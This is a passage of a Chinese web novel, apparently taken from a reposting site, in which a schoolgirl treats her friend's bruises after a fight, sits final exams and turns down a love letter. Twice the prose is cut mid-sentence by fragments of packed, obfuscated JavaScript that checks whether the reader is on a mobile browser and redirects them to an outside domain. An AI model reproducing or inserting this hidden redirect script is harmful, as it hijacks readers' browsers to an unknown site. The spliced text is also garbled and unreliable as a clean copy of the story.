“全校都要知道了。”乔岁安从袋子里拿出药膏,转过身面对他,朝他腹部的方向抬了下下巴,“涂药,衣服掀起来。” 17. 帮他涂药 丁斯时伸出手:“我自己涂就行。” 乔岁安避开他的手,盯着他的眼睛,威胁:“你要不让我看伤的话,我待会儿就自己上手扒了。” 他睫毛下垂着,手顿住,手指微微向掌心蜷了蜷。 她细细看了他很久,突然一下福灵心至,乐了:“你是不是害羞啊?不是吧丁斯时,我又不是别人。” “……”丁斯时撇开脸,反驳,“没有。” 乔岁安不听,若有所思:“是不是你最近缺乏锻炼,腹肌没了,所以不好意思啊?” 丁斯时忍无可忍:“乔岁安!” “我就是开个玩笑。”她伸手往下扒拉了下嘴角,克制了下,随后安慰,“没关系的,我也没有马甲线,咱们半斤八两。” “……” 他扭头就往房间走。 乔岁安连忙拉住他:“真开玩笑不说了不说了,药没涂呢还。我就是想看看你伤势。” . 最后,药还是丁斯时自己上的,乔岁安在旁边查看了下他的伤势。 那两个人下手不轻,他腹部挨了好几拳,青紫交夹一片,骇人得很。 乔岁安抱着抱枕,坐在一边,越看越难受,直到他上完药,把衣服重新翻了下去,盖住那一片狼狈,她才把目光移到他脸上,小声问:“是不是很疼啊?” “还行。”丁斯时垂眼,目光略过她怀里的抱枕,“别揪了,抱枕套都被你揪得不成样子了。” 她闻言低头,松了手,抚了抚抱枕,企图把皱褶那一角摸摸平。 一边摸,她一边嘀咕:“你说你也是,你又不会打架。这不是伤敌一千自损八百吗?” 丁斯时心平气和转过脸盯着她。 乔岁安有所感应,抬了下眼,手一顿,触碰到他视线的那一秒,她忙举起手捂住嘴,声音透出来闷闷的:“是我没良心,我不说话了。” 她刚说完闭嘴,目光移到他眼角那块淤青时一下想到什么,放下抱枕站起了身子,重新拿起桌上的药,点了点自己眼角的位置:“你眼角那块还没涂,这块你自己也不好上,我来吧。” 丁斯时随着她起身抬起头,眼镜被人摘掉,他下意识眨了两下眼睛,垂着睫毛没说话,算是默认。 乔岁安往手指上挤了点药膏,倾身轻轻抹在他眼角淤青处,动作小心翼翼,药膏清清凉凉敷在眼角处,怕弄疼他,她下手很轻,指腹若即若离触碰到皮肤,引起一阵痒。 丁斯时痒得“嘶”了声,下意识往后仰了仰脖子,隔开一段距离:“我不是瓷娃娃。你这手法要抹到猴年马月?” “那我不是怕你疼吗?”乔岁安手指停了停,故意用了点力,果不其然,又听见他“嘶”了声,这回是疼的。 “我就说了嘛。”她手又轻了回来,“疼吧?” 丁斯时:“……” 他无语地闭上眼睛,彻底不看她,也不说话了。 乔岁安继续小心翼翼把药给抹匀了,又把眼镜重新给他戴上,直起身:“好了!” 她拍了两下手,正要转过身,突然听见一声猫叫,身后一道重压过来,重心失稳,变故就在一瞬间。 心口相撞,乔岁安跌在他身上,鼻尖划过脸侧,磕在他肩上,泛着微酸。她听见身下人闷哼了声,双手捏紧了他肩侧的衣服,睫毛微颤,像是被人按了暂停键,僵直到呼吸都被控住。 大概是被惊吓到了,她犯愣地盯着他泛红的耳朵,心跳相贴着重重一声,分不清是谁的,又闷又响,魔怔了似的。 直到秋秋探过脑袋,摇着尾巴歪着头,从她身上跳下来,窝在沙发上“喵”了声。 乔岁安突然回了神,紧接着听见丁斯时的声音,闷闷的,低低的,从耳侧传过来,说话时的呼吸喷洒在脖颈侧,温热的:“你压到我伤了。” 乔岁安一下松开了捏着他肩侧衣服的手,跟僵尸似的一下弹起来,迅速倒退一步,小腿肚撞到茶几桌沿,发出“砰”的一声响。 一阵沉默之后,丁斯时出了声:“你……” “我突然想起,有张卷子我还没做完。”乔岁安垂着头没看他,往左侧一转就要走,结果脚一抬就撞上了他的,她一愣,头也没抬,立马180度大转弯往右侧拐,“明天要交的,我得赶紧回去写掉,我回去了,拜拜!” 乔岁安路走得笔直,脊背也挺直,硬生生走出了跑50米冲刺的架势。 大门“砰”的一声,重得刻意,像是掩藏些什么。 乔妈正在客厅玩手机,听见动静,扭过头喊:“饭在桌上,冷了自己转啊!” 见女儿跟聋了似的一个劲直往房间里闷头冲,她觉得奇怪,又喊了声:“乔岁安!晚饭没吃呢你回什么房间!你不饿啊?” 乔岁安道:“作业还没写完!” 房间门合上的前一秒,她听见乔妈嘀咕:“今天元旦晚会不是说没有作业吗?” 房间门彻底合上,她摸了摸脸,心想。 ——那确实不是个好理由。 丁斯时怎么可能不知道她今天没作业啊?她好像傻了。 乔岁安又摸了摸心口。 哦,那个心跳好像是她的。 她好像疯了。 乔岁安靠着房门揉着心口,连做了几个深呼吸,确认自己差不多平静了下来,又摸了摸,嗯,心跳正常,脸部温度正常,头脑冷静。 她做贼心虚地清了下嗓子,抿了下唇瓣,悄摸摸从口袋里捞出手机,打开相册。 里头一眼望过去,全是各种游戏截图,各式各样的游戏战绩。 他俩都不是很爱拍照,乔岁安翻了好久,才费劲巴拉地从一堆游戏里找到一张丁斯时的照片。 是暑假跟他去密室玩的时候拍的,他坐在桌前,咬着奶茶吸管,察觉到镜头,侧着脸,目光漫不经心望过来,眼下贴着一颗黑色的小爱心,像一颗泪痣镶嵌在眼角,是店家收银台前摆着的免费贴纸,乔岁安贴的。 乔岁安盯着照片,又摸了摸心口和脸。 嗯,心跳正常,脸部温度正常,头脑冷静。 方才发生的一切就像一场错觉,似乎不过一场突如其来的惊吓打翻了心跳,被误认为是其他因素。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859105|175923||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她松了口气,脊背贴着门,彻底放松下来。 . 12月的最后一天仍然要上学。 乔岁安的心已经飞去元旦假期了,人却仍然要在中午去一班抽背单词。 昨天元旦晚会,丁斯时中午放了她一马,今天的单词抽背却逃不掉了。 乔岁安磨磨蹭蹭抱着资料小碎步出了教室门,扒着一班后门门框一看,丁斯时不在自己座位上,她又仰着脸张望了下,没见着他人。 她站直了身子,往里走。 罗落正一边嗑瓜子一边跟林时蛰聊天,见她过来挥了挥手打了声招呼。 乔岁安提着丁斯时的椅子挪到两个人边上:“聊什么呢?” “聊昨天那两个傻逼。”罗落瓜子磕得嘎嘎响,“别让我看见他俩,我见一次骂一次的程度。臭傻逼,我呸!被打不是活该吗?我要看到了,那就是二对二!丁斯时负责主攻,我负责挠花他俩的脸。” 她亮出自己留了三周的长指甲。 “话说回来,乔乔,昨天你真的,秒了一切好吧,杀疯了,你听见我俩在台下喊你名字了吗?”林时蛰从罗落袋子里又抓了把瓜子,罗落心疼地把瓜子袋夺了回来,不给拿了。 “哎呀再来一点,我不会吃完的。” 罗落威胁地伸出手,把指甲亮在她眼前:“我只剩一点了,你再拿,我先挠花你的脸。” 林时蛰悻悻地收回手,随后才继续道:“昨天有好几个人跑过来问我要你联系方式,但我一猜就知道你肯定不想加,所以我没给,糊弄过去了。” “不愧是你,中国好蛔虫。”乔岁安对她的做法给予了肯定,随后抛出了最重要的一个问题,“丁斯时人呢?” 罗落:“不知道啊,去老师办公室了吧。” “办公室?”她眨眨眼,心里顷刻间咯噔了一下,完了。 . 丁斯时从办公室出来的时候,就见走廊边蹲着个人,见他出来,噌一下从地上飞跳起来,目光略过他手里握着的那张被卷成圆筒的纸,紧张兮兮地问:“老师怎么说?是因为昨天打架这件事吗?是给你违纪单了吗?还是处分?” 丁斯时被她一下蹦起来的架势弄得下意识后退了一小半步,以免她的脑袋撞上自己下巴,才道:“两百字检讨。” 乔岁安绷着神经竖着耳朵等着后文,等了半天没等到,她一愣,试探性的:“没啦?” 丁斯时垂眼看她:“没了。” 她震惊地脱口而出:“这么少?” 他深呼了一口气,冷凝她。 “……”乔岁安低眉顺眼,“我不是那个意思。” 丁斯时从她身上收回视线,抬脚往前走,冷笑了声:“没良心。” 她刚一迈开步子脚就一软,蹲久了脚麻,她原地调整两秒才追上去,盯着他手里握着的那张卷成圆筒状的纸:“那你手里是什么?我还以为是违纪单呢。” 他停下脚步,转过身,展开所谓的那张“违纪单”向她展示了一下:“作文奖状。” “……”乔岁安真心实意,“6。” 18. 算什么关系 今年过年早,放假也早,元旦过后的第二周周一就是期末考。 前桌考前一晚临时抱佛脚,挑战当代高中生的记忆力极限——一个晚上背完几十页的政治和几十页的历史,势必要把自己逼成一个奇迹。 …… 第二天她手里握着杯咖啡,顶着偌大两个黑眼圈,有气无力进了教室。 乔岁安看着她跟幽灵似的飘过来,拉开椅子,再轻飘飘坐下来,不由得开了口:“你很困吗?” 前桌强打起精神:“胡说八道,我怎么会困呢!” 乔岁安望着她那眯成缝的眼睛:“……你确定?” “人要对自己采取积极的心理暗示。”她喝了口咖啡,伸手撑开自己的眼皮,语气笃定,“我不困。” 乔岁安:“……” 就在这一刻,她非常庆幸丁斯时平时管她管得严,让她免遭这一场猝死式复习法。 前桌把历史书甩在乔岁安面前:“抽!随便抽!就没有姐记不住的知识点!” 闻言,乔岁安就随便翻开一页,随便抽了个知识点:“《梦溪笔谈》谁写的?” “就这?”前桌掀起嘴皮子不屑地冷笑一声,自信开口,“古人写的!” “……” 乔岁安称赞:“这个回答,多少有点东西。” 前桌:“你就说这个答案有没有毛病吧!” 乔岁安憋笑憋了半天,悄悄从桌肚里掏出一张写满了密密麻麻字的纸,望了望四周,低了点头示意前桌把耳朵凑过来,随后小声道:“丁斯时押的题,独家的。” 前桌一下来了精神,跟做贼似的扭头确认了一遍周围没人注意到,跟着小声:“押得准吗?” “年级第一的押题。”乔岁安道,“你说呢?” “乔乔。”前桌感激零涕,“你就是我的神。” - 事实证明,丁公主的押题水平是一流的。 两天的考试考下来,乔岁安答题如有神助,思路顺畅。 最后一场考试,结束铃打响,她呼了口气,将卷子传上去,收拾好文具,待老师数完了卷子,才起身跟着人群往门外走。 一月初的冷空气让人感觉像被关在了冰箱里,寒风冷厉,好在今天天气还算不错,阳光暖融融穿过干枯的枝丫落进走廊。从考场涌出来的人群低声讨论着题,白色雾气随着嗓音一起飘开。 乔岁安把手往口袋里一插,无意间听了两耳朵。 “这次的数学填空好难啊!最后三道我都没做出来。” “我觉得后面大题也好难,唉,老天保佑我一定要及格。” …… 乔岁安眉梢微扬,心情很好。 不错,他们说的难题她都做出来了。 教室沸腾,哄闹成一团,拿着卷子三三两两聚在一起对答案,大声讨论着答题思路,还有捂着耳朵趴在桌上哀嚎“别对了别对了我不想听见”。 乔岁安提着笔袋,侧着身绕过人,往自己座位靠近。 “这道题肯定是根号五,我算了三遍!” “你是漏了一个情况吧!怎么可能是根号五?明明就是二根号三啊!” …… 乔岁安把笔袋和卷子放桌上,从教室后面把自己的课本搬回来,书累成高高一摞,她双手抱着用下巴抵住,微微弯着腰略有些吃力地小碎步快走回自己桌边,把书都放下,才松了口气,甩了下通红的手。 突然,后衣领子被人扯了下,接着整个人被拖了过去。 “你问乔岁安!她答案肯定对的!乔岁安,你填空最后一题答案多少?是不是根号五?” 她猝不及防被抓过来,人还是愣的,男生揪着她后衣领子的手还没松开,她刚搬书为了图方便,把围巾摘了,现下指关节不小心凉凉碰到脖子,带着外头的寒气,冻得她一个激灵。 她有点难受地往边上轻轻躲了下,没能躲开。 两个男生原本为这题答案吵得不可开交,盯着她一定要一个答案。 “学霸你说,你答案多少?” “根号五。”背后传来道熟悉的男声,干净的,带点冷冽,随之而来的是她脖颈处那只手一松,“手松开。” 男生见丁斯时来了,讪讪松开了她的后衣领子。 “我都说了根号五。”另一个男生得了肯定,洋洋得意,“你非不信。你看,真是根号五吧!” “继续对,继续对!” …… 乔岁安赶紧整理了一下衣领,手往后一伸就准确无误拉住丁斯时的衣袖,才转过身过来看他。 “东西收拾好了没?”丁斯时单肩斜斜挎着包,垂了眼看她,“回家了。” “马上马上。”乔岁安立马继续迅速跑去教室后面把书包带过来,往里头塞了几本书。 丁斯时看着她收拾,顿了顿,问:“考得怎么样?” 乔岁安道:“我就一句话。” 丁斯时“嗯”了声:“说。” 她背上了书包,语气郑重其事,把前桌那套说辞搬了来:“你就是我的神。” 他轻嗤一声,撇开了眼。 “谁要当你的神了?” - 期末考后还要再上一周的课,用于讲试卷或者提前上一点下学期的内容。为了讲题方便,答题纸在考试结束的第二天就发下来了。 成绩出来前的日子最是折磨,老师评讲试卷的过程宛如凌迟,每报一题答案,都有人暗暗松口气又或者哀嚎叹气。尤其是数学,计算过程简直山路十八弯,在最后的答案报出来前,永远乾坤未定。 三门大课里,数学永远是乔岁安最棘手的科目,尤其是带字母的计算,每次都绕得她头晕眼花。 选择和填空题报完了答案,她略微松了口气,用红笔在答题纸上打了个大大的勾。 下课铃打响,乔岁安活动了下手腕,往椅背上一靠,从书包侧边口袋拎起保温杯,杯子很轻,她摇了摇,才发现没水了。 乔岁安戴上手套和围巾,一整个全副武装,准备离开她那开着热空调的温暖教室,外出倒水。 前门被人打开了一点,门口站着个男生,探着头往里头瞧,手里捏着个蓝色信封,不知道在张望谁。 乔岁安视线默默移到他手上的那个蓝色信封上,一边在心里吐槽这年头居然还有人用这么老土的方式表白,一边悄咪咪放慢了脚步,手指捏着围巾往脸上扒拉了点,露出一双漂亮的眼睛拿余光不停好奇地瞟着门口的男生。 她没有什么坏心思,她只是单纯想吃个瓜。 那张脸有点眼熟,她细细思索了一会儿,才想起自己在微信表白墙挂人上见过这张脸。 前两天午休时,前桌转过来跟她分享薯片,借着她的笔袋挡住手机,两个人趴在桌上一起刷朋友圈。 “这个学长有点帅啊你快看。”前桌激动地放大图片,转了手机给她,“话说我好像都在朋友圈刷到过他几次了,人好像是高二的。” 乔岁安扫了眼,还行,但没get到。 前桌跟她混熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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前桌嘟囔:“丁斯时身上自带一种学神威压,我哪敢问啊?除了对你以外,我感觉他都只差把‘好好学习,绝不早恋’这八个字贴脑门上了。” …… 男生仍在张望,目光从教室后门一路扫到教室前门。 乔岁安将步子慢了又慢,只为能在角落吃到这一口最新鲜的瓜。 余光里,那个男生的视线定在了她的身上,下一秒,教室门又被拉开些许。 乔岁安僵了下,下意识把围巾又往上提了提,一种强烈的不祥预感如潮水般涌来。 男生喊了声:“乔岁安。” 她顿住。 靠门口坐的几个同学随着这一声,也跟着扭过头来。 她想:这可真够该死的,吃瓜的那个变成了被吃瓜的那个。 乔岁安几步快步出了教室门,关上门,隔开了同班人的视线,才硬着头皮转过身,尴尬而不失礼貌:“你好,是有什么事吗?” 那封蓝色信封递了过来。 “给你的。”男生声音轻,带了些不好意思,“我也是第一次给人写这个,上面有我的联系方式,如果你愿意试一下的话,给我个答复。” 她抿了下唇,没接:“谢谢,但是,我不能收。” 他愣了下,大概是没想到会被直接拒绝,声调扬了起来:“为什么?” “我目前没有这方面的打算。”乔岁安如实道,“我也不希望会给你带来误解。” 男生沉默了下。 外面到底比不上里面暖和,乔岁安见他沉默,觉着这件事就算翻篇了,说了声“抱歉”就要转身往直饮机那走。 胳膊被蓦地拉住,男生不甘心地又问:“真的吗?那我再问一个问题,丁斯时和你是什么关系?” 乔岁安下意识蹙眉,抬起眼,目光略过他,却愣住。 四目相对。 丁斯时倚在廊边,离她不过五米远,目光落过来,漆黑的,像墨一样,不知是站了多久,听见了多少,只等着她发现他。